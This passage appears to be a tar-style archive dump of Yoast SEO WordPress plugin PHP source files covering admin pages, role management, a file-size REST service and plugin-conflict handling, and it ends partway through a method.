				// phpcs:ignore WordPress.WP.GlobalVariablesOverride -- This is a deliberate action.
				$wp_settings_errors[ $index ]['yoast_dirty_value'] = $dirty_value;
			}
		}
	}

	/**
	 * Gets an invalid submitted value.
	 *
	 * @since 12.1
	 *
	 * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name.
	 *
	 * @return string The submitted invalid input field value.
	 *
	 * @deprecated 23.3
	 * @codeCoverageIgnore
	 */
	public static function get_dirty_value( $error_code ) {  // @phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable, Generic.CodeAnalysis.UnusedFunctionParameter.Found -- Needed for BC.
		_deprecated_function( __METHOD__, 'Yoast SEO 23.3' );
		return '';
	}

	/**
	 * Gets a specific invalid value message.
	 *
	 * @since 12.1
	 *
	 * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name.
	 *
	 * @return string The error invalid value message or empty string.
	 *
	 * @deprecated 23.3
	 * @codeCoverageIgnore
	 */
	public static function get_dirty_value_message( $error_code ) { // @phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable, Generic.CodeAnalysis.UnusedFunctionParameter.Found -- Needed for BC.
		_deprecated_function( __METHOD__, 'Yoast SEO 23.3' );

		return '';
	}
}
wordpress-seo/admin/listeners/class-listener.php000064400000000460147510273100016121 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Listeners
 */

/**
 * Dictates the required methods for a Listener implementation.
 */
interface WPSEO_Listener {

	/**
	 * Listens to an argument in the request URL and triggers an action.
	 *
	 * @return void
	 */
	public function listen();
}
wordpress-seo/admin/interface-collection.php000064400000000401147510273100015245 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Interface that represents a collection.
 */
interface WPSEO_Collection {

	/**
	 * Returns the collection data.
	 *
	 * @return array The collection data.
	 */
	public function get();
}
wordpress-seo/admin/pages/redirects.php000064400000000376147510273100014252 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 * @since   19.0
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

require WPSEO_PATH . 'admin/views/redirects.php';
wordpress-seo/admin/pages/network.php000064400000001677147510273100013764 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

$yform = Yoast_Form::get_instance();
$yform->admin_header( true, 'wpseo_ms' );

$network_tabs = new WPSEO_Option_Tabs( 'network' );
$network_tabs->add_tab( new WPSEO_Option_Tab( 'general', __( 'General', 'wordpress-seo' ) ) );
$network_tabs->add_tab( new WPSEO_Option_Tab( 'features', __( 'Features', 'wordpress-seo' ) ) );
$network_tabs->add_tab( new WPSEO_Option_Tab( 'integrations', __( 'Integrations', 'wordpress-seo' ) ) );

$network_tabs->add_tab(
	new WPSEO_Option_Tab(
		'crawl-settings',
		__( 'Crawl settings', 'wordpress-seo' ),
		[
			'save_button' => true,
		]
	)
);
$network_tabs->add_tab( new WPSEO_Option_Tab( 'restore-site', __( 'Restore Site', 'wordpress-seo' ), [ 'save_button' => false ] ) );
$network_tabs->display( $yform );

$yform->admin_footer();
wordpress-seo/admin/pages/tools.php000064400000005507147510273100013427 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

$tool_page = '';

// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
if ( isset( $_GET['tool'] ) && is_string( $_GET['tool'] ) ) {
	// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
	$tool_page = sanitize_text_field( wp_unslash( $_GET['tool'] ) );
}

$yform = Yoast_Form::get_instance();
$yform->admin_header( false );

if ( $tool_page === '' ) {

	$tools = [];

	$tools['import-export'] = [
		'title' => __( 'Import and Export', 'wordpress-seo' ),
		'desc'  => __( 'Import settings from other SEO plugins and export your settings for re-use on (another) site.', 'wordpress-seo' ),
	];

	if ( WPSEO_Utils::allow_system_file_edit() === true && ! is_multisite() ) {
		$tools['file-editor'] = [
			'title' => __( 'File editor', 'wordpress-seo' ),
			'desc'  => __( 'This tool allows you to quickly change important files for your SEO, like your robots.txt and, if you have one, your .htaccess file.', 'wordpress-seo' ),
		];
	}

	$tools['bulk-editor'] = [
		'title' => __( 'Bulk editor', 'wordpress-seo' ),
		'desc'  => __( 'This tool allows you to quickly change titles and descriptions of your posts and pages without having to go into the editor for each page.', 'wordpress-seo' ),
	];

	echo '<p>';
	printf(
		/* translators: %1$s expands to Yoast SEO */
		esc_html__( '%1$s comes with some very powerful built-in tools:', 'wordpress-seo' ),
		'Yoast SEO'
	);
	echo '</p>';

	echo '<ul class="ul-disc">';

	$admin_url = admin_url( 'admin.php?page=wpseo_tools' );

	foreach ( $tools as $slug => $tool ) {
		$href = ( ! empty( $tool['href'] ) ) ? $admin_url . $tool['href'] : add_query_arg( [ 'tool' => $slug ], $admin_url );
		$attr = ( ! empty( $tool['attr'] ) ) ? $tool['attr'] : '';

		echo '<li>';
		echo '<strong><a href="', esc_url( $href ), '" ', esc_attr( $attr ), '>', esc_html( $tool['title'] ), '</a></strong><br/>';
		echo esc_html( $tool['desc'] );
		echo '</li>';
	}

	/**
	 * WARNING: This hook is intended for internal use only.
	 * Don't use it in your code as it will be removed shortly.
	 */
	do_action( 'wpseo_tools_overview_list_items_internal' );

	echo '</ul>';
}
else {
	echo '<a href="', esc_url( admin_url( 'admin.php?page=wpseo_tools' ) ), '">', esc_html__( '&laquo; Back to Tools page', 'wordpress-seo' ), '</a>';

	$tool_pages = [ 'bulk-editor', 'import-export' ];

	if ( WPSEO_Utils::allow_system_file_edit() === true && ! is_multisite() ) {
		$tool_pages[] = 'file-editor';
	}

	if ( in_array( $tool_page, $tool_pages, true ) ) {
		require_once WPSEO_PATH . 'admin/views/tool-' . $tool_page . '.php';
	}
}

$yform->admin_footer( false );
wordpress-seo/admin/pages/licenses.php000064400000000376147510273100014073 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 * @since   1.5.0
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

require WPSEO_PATH . 'admin/views/licenses.php';
wordpress-seo/admin/services/class-file-size.php000064400000004653147510273100016006 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Services
 */

/**
 * Represents the file size service.
 */
class WPSEO_File_Size_Service {

	/**
	 * Retrieves an indexable.
	 *
	 * @param WP_REST_Request $request The request object.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function get( WP_REST_Request $request ) {
		try {
			$file_url = $this->get_file_url( $request );

			return new WP_REST_Response(
				[
					'type'          => 'success',
					'size_in_bytes' => $this->get_file_size( $file_url ),
				],
				200
			);
		}
		catch ( WPSEO_File_Size_Exception $exception ) {
			return new WP_REST_Response(
				[
					'type'     => 'failure',
					'response' => $exception->getMessage(),
				],
				404
			);
		}
	}

	/**
	 * Retrieves the file url.
	 *
	 * @param WP_REST_Request $request The request to retrieve file url from.
	 *
	 * @return string The file url.
	 * @throws WPSEO_File_Size_Exception The file is hosted externally.
	 */
	protected function get_file_url( WP_REST_Request $request ) {
		$file_url = rawurldecode( $request->get_param( 'url' ) );

		if ( ! $this->is_externally_hosted( $file_url ) ) {
			return $file_url;
		}

		throw WPSEO_File_Size_Exception::externally_hosted( $file_url );
	}

	/**
	 * Checks if the file is hosted externally.
	 *
	 * @param string $file_url The file url.
	 *
	 * @return bool True if it is hosted externally.
	 */
	protected function is_externally_hosted( $file_url ) {
		return wp_parse_url( home_url(), PHP_URL_HOST ) !== wp_parse_url( $file_url, PHP_URL_HOST );
	}

	/**
	 * Returns the file size.
	 *
	 * @param string $file_url The file url to get the size for.
	 *
	 * @return int The file size.
	 * @throws WPSEO_File_Size_Exception Retrieval of file size went wrong for unknown reasons.
	 */
	protected function get_file_size( $file_url ) {
		$file_config = wp_upload_dir();
		$file_url    = str_replace( $file_config['baseurl'], '', $file_url );
		$file_size   = $this->calculate_file_size( $file_url );

		if ( ! $file_size ) {
			throw WPSEO_File_Size_Exception::unknown_error( $file_url );
		}

		return $file_size;
	}

	/**
	 * Calculates the file size using the Utils class.
	 *
	 * @param string $file_url The file to retrieve the size for.
	 *
	 * @return int|bool The file size or False if it could not be retrieved.
	 */
	protected function calculate_file_size( $file_url ) {
		return WPSEO_Image_Utils::get_file_size(
			[
				'path' => $file_url,
			]
		);
	}
}
wordpress-seo/admin/class-admin-asset-location.php000064400000000750147510273100016301 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Represents a way to determine an assets location.
 */
interface WPSEO_Admin_Asset_Location {

	/**
	 * Determines the URL of the asset on the dev server.
	 *
	 * @param WPSEO_Admin_Asset $asset The asset to determine the URL for.
	 * @param string            $type  The type of asset. Usually JS or CSS.
	 *
	 * @return string The URL of the asset.
	 */
	public function get_url( WPSEO_Admin_Asset $asset, $type );
}
wordpress-seo/admin/class-admin-init.php000064400000025332147510273100014322 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Performs the load on admin side.
 */
class WPSEO_Admin_Init {

	/**
	 * Holds the global `$pagenow` variable's value.
	 *
	 * @var string
	 */
	private $pagenow;

	/**
	 * Holds the asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Class constructor.
	 */
	public function __construct() {
		$GLOBALS['wpseo_admin'] = new WPSEO_Admin();

		$this->pagenow = $GLOBALS['pagenow'];

		$this->asset_manager = new WPSEO_Admin_Asset_Manager();

		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_dismissible' ] );
		add_action( 'admin_init', [ $this, 'unsupported_php_notice' ], 15 );
		add_action( 'admin_init', [ $this, 'remove_translations_notification' ], 15 );
		add_action( 'admin_init', [ $this->asset_manager, 'register_assets' ] );
		add_action( 'admin_init', [ $this, 'show_hook_deprecation_warnings' ] );
		add_action( 'admin_init', [ 'WPSEO_Plugin_Conflict', 'hook_check_for_plugin_conflicts' ] );
		add_action( 'admin_notices', [ $this, 'permalink_settings_notice' ] );
		add_action( 'post_submitbox_misc_actions', [ $this, 'add_publish_box_section' ] );

		$this->load_meta_boxes();
		$this->load_taxonomy_class();
		$this->load_admin_page_class();
		$this->load_admin_user_class();
		$this->load_xml_sitemaps_admin();
		$this->load_plugin_suggestions();
	}

	/**
	 * Enqueue our styling for dismissible yoast notifications.
	 *
	 * @return void
	 */
	public function enqueue_dismissible() {
		$this->asset_manager->enqueue_style( 'dismissible' );
	}

	/**
	 * Removes any notification for incomplete translations.
	 *
	 * @return void
	 */
	public function remove_translations_notification() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_center->remove_notification_by_id( 'i18nModuleTranslationAssistance' );
	}

	/**
	 * Creates an unsupported PHP version notification in the notification center.
	 *
	 * @return void
	 */
	public function unsupported_php_notice() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_center->remove_notification_by_id( 'wpseo-dismiss-unsupported-php' );
	}

	/**
	 * Gets the latest released major WordPress version from the WordPress stable-check api.
	 *
	 * @return float|int The latest released major WordPress version. 0 when the stable-check API doesn't respond.
	 */
	private function get_latest_major_wordpress_version() {
		$core_updates = get_core_updates( [ 'dismissed' => true ] );

		if ( $core_updates === false ) {
			return 0;
		}

		$wp_version_latest = get_bloginfo( 'version' );
		foreach ( $core_updates as $update ) {
			if ( $update->response === 'upgrade' && version_compare( $update->version, $wp_version_latest, '>' ) ) {
				$wp_version_latest = $update->version;
			}
		}

		// Strip the patch version and convert to a float.
		return (float) $wp_version_latest;
	}

	/**
	 * Helper to verify if the user is currently visiting one of our admin pages.
	 *
	 * @return bool
	 */
	private function on_wpseo_admin_page() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( ! isset( $_GET['page'] ) || ! is_string( $_GET['page'] ) ) {
			return false;
		}

		if ( $this->pagenow !== 'admin.php' ) {
			return false;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		$current_page = sanitize_text_field( wp_unslash( $_GET['page'] ) );
		return strpos( $current_page, 'wpseo' ) === 0;
	}

	/**
	 * Whether we should load the meta box classes.
	 *
	 * @return bool true if we should load the meta box classes, false otherwise.
	 */
	private function should_load_meta_boxes() {
		/**
		 * Filter: 'wpseo_always_register_metaboxes_on_admin' - Allow developers to change whether
		 * the WPSEO metaboxes are only registered on the typical pages (lean loading) or always
		 * registered when in admin.
		 *
		 * @param bool $register_metaboxes Whether to always register the metaboxes or not. Defaults to false.
		 */
		if ( apply_filters( 'wpseo_always_register_metaboxes_on_admin', false ) ) {
			return true;
		}

		// If we are in a post editor.
		if ( WPSEO_Metabox::is_post_overview( $this->pagenow ) || WPSEO_Metabox::is_post_edit( $this->pagenow ) ) {
			return true;
		}

		// If we are doing an inline save.
		if ( check_ajax_referer( 'inlineeditnonce', '_inline_edit', false ) && isset( $_POST['action'] ) && sanitize_text_field( wp_unslash( $_POST['action'] ) ) === 'inline-save' ) {
			return true;
		}

		return false;
	}

	/**
	 * Determine whether we should load the meta box class and if so, load it.
	 *
	 * @return void
	 */
	private function load_meta_boxes() {
		if ( $this->should_load_meta_boxes() ) {
			$GLOBALS['wpseo_metabox']      = new WPSEO_Metabox();
			$GLOBALS['wpseo_meta_columns'] = new WPSEO_Meta_Columns();
		}
	}

	/**
	 * Determine if we should load our taxonomy edit class and if so, load it.
	 *
	 * @return void
	 */
	private function load_taxonomy_class() {
		if (
			WPSEO_Taxonomy::is_term_edit( $this->pagenow )
			|| WPSEO_Taxonomy::is_term_overview( $this->pagenow )
		) {
			new WPSEO_Taxonomy();
		}
	}

	/**
	 * Determine if we should load our admin pages class and if so, load it.
	 *
	 * Loads admin page class for all admin pages starting with `wpseo_`.
	 *
	 * @return void
	 */
	private function load_admin_user_class() {
		if ( in_array( $this->pagenow, [ 'user-edit.php', 'profile.php' ], true )
			&& current_user_can( 'edit_users' )
		) {
			new WPSEO_Admin_User_Profile();
		}
	}

	/**
	 * Determine if we should load our admin pages class and if so, load it.
	 *
	 * Loads admin page class for all admin pages starting with `wpseo_`.
	 *
	 * @return void
	 */
	private function load_admin_page_class() {

		if ( $this->on_wpseo_admin_page() ) {
			// For backwards compatabilty, this still needs a global, for now...
			$GLOBALS['wpseo_admin_pages'] = new WPSEO_Admin_Pages();

			$page = null;

			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			if ( isset( $_GET['page'] ) && is_string( $_GET['page'] ) ) {
				// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
				$page = sanitize_text_field( wp_unslash( $_GET['page'] ) );
			}

			// Only renders Yoast SEO Premium upsells when the page is a Yoast SEO page.
			if ( $page !== null && WPSEO_Utils::is_yoast_seo_free_page( $page ) ) {
				$this->register_premium_upsell_admin_block();
			}
		}
	}

	/**
	 * Loads the plugin suggestions.
	 *
	 * @return void
	 */
	private function load_plugin_suggestions() {
		$suggestions = new WPSEO_Suggested_Plugins( new WPSEO_Plugin_Availability(), Yoast_Notification_Center::get() );
		$suggestions->register_hooks();
	}

	/**
	 * Registers the Premium Upsell Admin Block.
	 *
	 * @return void
	 */
	private function register_premium_upsell_admin_block() {
		if ( ! YoastSEO()->helpers->product->is_premium() ) {
			$upsell_block = new WPSEO_Premium_Upsell_Admin_Block( 'wpseo_admin_promo_footer' );
			$upsell_block->register_hooks();
		}
	}

	/**
	 * See if we should start our XML Sitemaps Admin class.
	 *
	 * @return void
	 */
	private function load_xml_sitemaps_admin() {
		if ( WPSEO_Options::get( 'enable_xml_sitemap', false, [ 'wpseo' ] ) ) {
			new WPSEO_Sitemaps_Admin();
		}
	}

	/**
	 * Shows deprecation warnings to the user if a plugin has registered a filter we have deprecated.
	 *
	 * @return void
	 */
	public function show_hook_deprecation_warnings() {
		global $wp_filter;

		if ( wp_doing_ajax() ) {
			return;
		}

		// WordPress hooks that have been deprecated since a Yoast SEO version.
		$deprecated_filters = [
			'wpseo_genesis_force_adjacent_rel_home' => [
				'version'     => '9.4',
				'alternative' => null,
			],
			'wpseo_opengraph' => [
				'version'     => '14.0',
				'alternative' => null,
			],
			'wpseo_twitter' => [
				'version'     => '14.0',
				'alternative' => null,
			],
			'wpseo_twitter_taxonomy_image' => [
				'version'     => '14.0',
				'alternative' => null,
			],
			'wpseo_twitter_metatag_key' => [
				'version'     => '14.0',
				'alternative' => null,
			],
			'wp_seo_get_bc_ancestors' => [
				'version'     => '14.0',
				'alternative' => 'wpseo_breadcrumb_links',
			],
			'validate_facebook_app_id_api_response_code' => [
				'version'     => '15.5',
				'alternative' => null,
			],
			'validate_facebook_app_id_api_response_body' => [
				'version'     => '15.5',
				'alternative' => null,
			],
		];

		// Determine which filters have been registered.
		$deprecated_notices = array_intersect(
			array_keys( $deprecated_filters ),
			array_keys( $wp_filter )
		);

		// Show notice for each deprecated filter or action that has been registered.
		foreach ( $deprecated_notices as $deprecated_filter ) {
			$deprecation_info = $deprecated_filters[ $deprecated_filter ];
			// phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- Only uses the hardcoded values from above.
			_deprecated_hook(
				$deprecated_filter,
				'WPSEO ' . $deprecation_info['version'],
				$deprecation_info['alternative']
			);
			// phpcs:enable
		}
	}

	/**
	 * Check if the permalink uses %postname%.
	 *
	 * @return bool
	 */
	private function has_postname_in_permalink() {
		return ( strpos( get_option( 'permalink_structure' ), '%postname%' ) !== false );
	}

	/**
	 * Shows a notice on the permalink settings page.
	 *
	 * @return void
	 */
	public function permalink_settings_notice() {
		global $pagenow;

		if ( $pagenow === 'options-permalink.php' ) {
			printf(
				'<div class="notice notice-warning"><p><strong>%1$s</strong><br>%2$s<br><a href="%3$s" target="_blank">%4$s</a></p></div>',
				esc_html__( 'WARNING:', 'wordpress-seo' ),
				sprintf(
					/* translators: %1$s and %2$s expand to <em> items to emphasize the word in the middle. */
					esc_html__( 'Changing your permalinks settings can seriously impact your search engine visibility. It should almost %1$s never %2$s be done on a live website.', 'wordpress-seo' ),
					'<em>',
					'</em>'
				),
				esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/why-permalinks/' ) ),
				// The link's content.
				esc_html__( 'Learn about why permalinks are important for SEO.', 'wordpress-seo' )
			);
		}
	}

	/**
	 * Adds a custom Yoast section within the Classic Editor publish box.
	 *
	 * @param WP_Post $post The current post object.
	 *
	 * @return void
	 */
	public function add_publish_box_section( $post ) {
		if ( in_array( $this->pagenow, [ 'post.php', 'post-new.php' ], true ) ) {
			?>
			<div id="yoast-seo-publishbox-section"></div>
			<?php
			/**
			 * Fires after the post time/date setting in the Publish meta box.
			 *
			 * @param WP_Post $post The current post object.
			 */
			do_action( 'wpseo_publishbox_misc_actions', $post );
		}
	}
}
wordpress-seo/admin/roles/class-abstract-role-manager.php000064400000006607147510273100017573 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Roles
 */

/**
 * Abstract Role Manager template.
 */
abstract class WPSEO_Abstract_Role_Manager implements WPSEO_Role_Manager {

	/**
	 * Registered roles.
	 *
	 * @var array
	 */
	protected $roles = [];

	/**
	 * Registers a role.
	 *
	 * @param string      $role         Role to register.
	 * @param string      $display_name Display name to use.
	 * @param string|null $template     Optional. Role to base the new role on.
	 *
	 * @return void
	 */
	public function register( $role, $display_name, $template = null ) {
		$this->roles[ $role ] = (object) [
			'display_name' => $display_name,
			'template'     => $template,
		];
	}

	/**
	 * Returns the list of registered roles.
	 *
	 * @return string[] List or registered roles.
	 */
	public function get_roles() {
		return array_keys( $this->roles );
	}

	/**
	 * Adds the registered roles.
	 *
	 * @return void
	 */
	public function add() {
		foreach ( $this->roles as $role => $data ) {
			$capabilities = $this->get_capabilities( $data->template );
			$capabilities = $this->filter_existing_capabilties( $role, $capabilities );

			$this->add_role( $role, $data->display_name, $capabilities );
		}
	}

	/**
	 * Removes the registered roles.
	 *
	 * @return void
	 */
	public function remove() {
		$roles = array_keys( $this->roles );
		array_map( [ $this, 'remove_role' ], $roles );
	}

	/**
	 * Returns the capabilities for the specified role.
	 *
	 * @param string $role Role to fetch capabilities from.
	 *
	 * @return array List of capabilities.
	 */
	protected function get_capabilities( $role ) {
		if ( ! is_string( $role ) || empty( $role ) ) {
			return [];
		}

		$wp_role = get_role( $role );
		if ( ! $wp_role ) {
			return [];
		}

		return $wp_role->capabilities;
	}

	/**
	 * Returns true if the capability exists on the role.
	 *
	 * @param WP_Role $role       Role to check capability against.
	 * @param string  $capability Capability to check.
	 *
	 * @return bool True if the capability is defined for the role.
	 */
	protected function capability_exists( WP_Role $role, $capability ) {
		return ! array_key_exists( $capability, $role->capabilities );
	}

	/**
	 * Filters out capabilities that are already set for the role.
	 *
	 * This makes sure we don't override configurations that have been previously set.
	 *
	 * @param string $role         The role to check against.
	 * @param array  $capabilities The capabilities that should be set.
	 *
	 * @return array Capabilties that can be safely set.
	 */
	protected function filter_existing_capabilties( $role, array $capabilities ) {
		if ( $capabilities === [] ) {
			return $capabilities;
		}

		$wp_role = get_role( $role );
		if ( ! $wp_role ) {
			return $capabilities;
		}

		foreach ( $capabilities as $capability => $grant ) {
			if ( $this->capability_exists( $wp_role, $capability ) ) {
				unset( $capabilities[ $capability ] );
			}
		}

		return $capabilities;
	}

	/**
	 * Adds a role to the system.
	 *
	 * @param string $role         Role to add.
	 * @param string $display_name Name to display for the role.
	 * @param array  $capabilities Capabilities to add to the role.
	 *
	 * @return void
	 */
	abstract protected function add_role( $role, $display_name, array $capabilities = [] );

	/**
	 * Removes a role from the system.
	 *
	 * @param string $role Role to remove.
	 *
	 * @return void
	 */
	abstract protected function remove_role( $role );
}
wordpress-seo/admin/roles/class-register-roles.php000064400000001142147510273100016354 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Roles
 */

/**
 * Role registration class.
 */
class WPSEO_Register_Roles implements WPSEO_WordPress_Integration {

	/**
	 * Adds hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'wpseo_register_roles', [ $this, 'register' ] );
	}

	/**
	 * Registers the roles.
	 *
	 * @return void
	 */
	public function register() {
		$role_manager = WPSEO_Role_Manager_Factory::get();

		$role_manager->register( 'wpseo_manager', 'SEO Manager', 'editor' );
		$role_manager->register( 'wpseo_editor', 'SEO Editor', 'editor' );
	}
}
wordpress-seo/admin/roles/class-role-manager-wp.php000064400000002657147510273100016417 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Roles
 */

/**
 * WordPress' default implementation of the Role Manager.
 */
final class WPSEO_Role_Manager_WP extends WPSEO_Abstract_Role_Manager {

	/**
	 * Adds a role to the system.
	 *
	 * @param string $role         Role to add.
	 * @param string $display_name Name to display for the role.
	 * @param array  $capabilities Capabilities to add to the role.
	 *
	 * @return void
	 */
	protected function add_role( $role, $display_name, array $capabilities = [] ) {
		$wp_role = get_role( $role );
		if ( $wp_role ) {
			foreach ( $capabilities as $capability => $grant ) {
				$wp_role->add_cap( $capability, $grant );
			}

			return;
		}

		add_role( $role, $display_name, $capabilities );
	}

	/**
	 * Removes a role from the system.
	 *
	 * @param string $role Role to remove.
	 *
	 * @return void
	 */
	protected function remove_role( $role ) {
		remove_role( $role );
	}

	/**
	 * Formats the capabilities to the required format.
	 *
	 * @param array $capabilities Capabilities to format.
	 * @param bool  $enabled      Whether these capabilities should be enabled or not.
	 *
	 * @return array Formatted capabilities.
	 */
	protected function format_capabilities( array $capabilities, $enabled = true ) {
		// Flip keys and values.
		$capabilities = array_flip( $capabilities );

		// Set all values to $enabled.
		return array_fill_keys( array_keys( $capabilities ), $enabled );
	}
}
wordpress-seo/admin/roles/class-role-manager-factory.php000064400000000577147510273100017437 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Roles
 */

/**
 * Role Manager Factory.
 */
class WPSEO_Role_Manager_Factory {

	/**
	 * Retrieves the Role manager to use.
	 *
	 * @return WPSEO_Role_Manager
	 */
	public static function get() {
		static $manager = null;

		if ( $manager === null ) {
			$manager = new WPSEO_Role_Manager_WP();
		}

		return $manager;
	}
}
wordpress-seo/admin/roles/class-role-manager.php000064400000001401147510273100015755 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Roles
 */

/**
 * Role Manager interface.
 */
interface WPSEO_Role_Manager {

	/**
	 * Registers a role.
	 *
	 * @param string      $role         Role to register.
	 * @param string      $display_name Display name to use.
	 * @param string|null $template     Optional. Role to base the new role on.
	 *
	 * @return void
	 */
	public function register( $role, $display_name, $template = null );

	/**
	 * Adds the registered roles.
	 *
	 * @return void
	 */
	public function add();

	/**
	 * Removes the registered roles.
	 *
	 * @return void
	 */
	public function remove();

	/**
	 * Returns the list of registered roles.
	 *
	 * @return string[] List or registered roles.
	 */
	public function get_roles();
}
wordpress-seo/admin/class-yoast-plugin-conflict.php000064400000024520147510273100016521 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 * @since   1.7.0
 */

/**
 * Base class for handling plugin conflicts.
 */
class Yoast_Plugin_Conflict {

	/**
	 * The plugins must be grouped per section.
	 *
	 * It's possible to check for each section if there are conflicting plugins.
	 *
	 * @var array
	 */
	protected $plugins = [];

	/**
	 * All the current active plugins will be stored in this private var.
	 *
	 * @var array
	 */
	protected $all_active_plugins = [];

	/**
	 * After searching for active plugins that are in $this->plugins the active plugins will be stored in this
	 * property.
	 *
	 * @var array
	 */
	protected $active_conflicting_plugins = [];

	/**
	 * Property for holding instance of itself.
	 *
	 * @var Yoast_Plugin_Conflict
	 */
	protected static $instance;

	/**
	 * For the use of singleton pattern. Create instance of itself and return this instance.
	 *
	 * @param string $class_name Give the classname to initialize. If classname is
	 *                           false (empty) it will use it's own __CLASS__.
	 *
	 * @return Yoast_Plugin_Conflict
	 */
	public static function get_instance( $class_name = '' ) {

		if ( is_null( self::$instance ) ) {
			if ( ! is_string( $class_name ) || $class_name === '' ) {
				$class_name = self::class;
			}

			self::$instance = new $class_name();
		}

		return self::$instance;
	}

	/**
	 * Setting instance, all active plugins and search for active plugins.
	 *
	 * Protected constructor to prevent creating a new instance of the
	 * *Singleton* via the `new` operator from outside this class.
	 */
	protected function __construct() {
		// Set active plugins.
		$this->all_active_plugins = get_option( 'active_plugins' );

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['action'] ) && is_string( $_GET['action'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information and only comparing the variable in a condition.
			$action = wp_unslash( $_GET['action'] );
			if ( $action === 'deactivate' ) {
				$this->remove_deactivated_plugin();
			}
		}

		// Search for active plugins.
		$this->search_active_plugins();
	}

	/**
	 * Check if there are conflicting plugins for given $plugin_section.
	 *
	 * @param string $plugin_section Type of plugin conflict (such as Open Graph or sitemap).
	 *
	 * @return bool
	 */
	public function check_for_conflicts( $plugin_section ) {

		static $sections_checked;

		// Return early if there are no active conflicting plugins at all.
		if ( empty( $this->active_conflicting_plugins ) ) {
			return false;
		}

		if ( $sections_checked === null ) {
			$sections_checked = [];
		}

		if ( ! in_array( $plugin_section, $sections_checked, true ) ) {
			$sections_checked[] = $plugin_section;
			return ( ! empty( $this->active_conflicting_plugins[ $plugin_section ] ) );
		}

		return false;
	}

	/**
	 * Checks for given $plugin_sections for conflicts.
	 *
	 * @param array $plugin_sections Set of sections.
	 *
	 * @return void
	 */
	public function check_plugin_conflicts( $plugin_sections ) {
		foreach ( $plugin_sections as $plugin_section => $readable_plugin_section ) {
			// Check for conflicting plugins and show error if there are conflicts.
			if ( $this->check_for_conflicts( $plugin_section ) ) {
				$this->set_error( $plugin_section, $readable_plugin_section );
			}
		}

		// List of all active sections.
		$sections = array_keys( $plugin_sections );
		// List of all sections.
		$all_plugin_sections = array_keys( $this->plugins );

		/*
		 * Get all sections that are inactive.
		 * These plugins need to be cleared.
		 *
		 * This happens when Sitemaps or OpenGraph implementations toggle active/disabled.
		 */
		$inactive_sections = array_diff( $all_plugin_sections, $sections );
		if ( ! empty( $inactive_sections ) ) {
			foreach ( $inactive_sections as $section ) {
				array_walk( $this->plugins[ $section ], [ $this, 'clear_error' ] );
			}
		}

		// For active sections clear errors for inactive plugins.
		foreach ( $sections as $section ) {
			// By default, clear errors for all plugins of the section.
			$inactive_plugins = $this->plugins[ $section ];

			// If there are active plugins, filter them from being cleared.
			if ( isset( $this->active_conflicting_plugins[ $section ] ) ) {
				$inactive_plugins = array_diff( $this->plugins[ $section ], $this->active_conflicting_plugins[ $section ] );
			}

			array_walk( $inactive_plugins, [ $this, 'clear_error' ] );
		}
	}

	/**
	 * Setting an error on the screen.
	 *
	 * @param string $plugin_section          Type of conflict group (such as Open Graph or sitemap).
	 * @param string $readable_plugin_section This is the value for the translation.
	 *
	 * @return void
	 */
	protected function set_error( $plugin_section, $readable_plugin_section ) {

		$notification_center = Yoast_Notification_Center::get();

		foreach ( $this->active_conflicting_plugins[ $plugin_section ] as $plugin_file ) {

			$plugin_name = $this->get_plugin_name( $plugin_file );

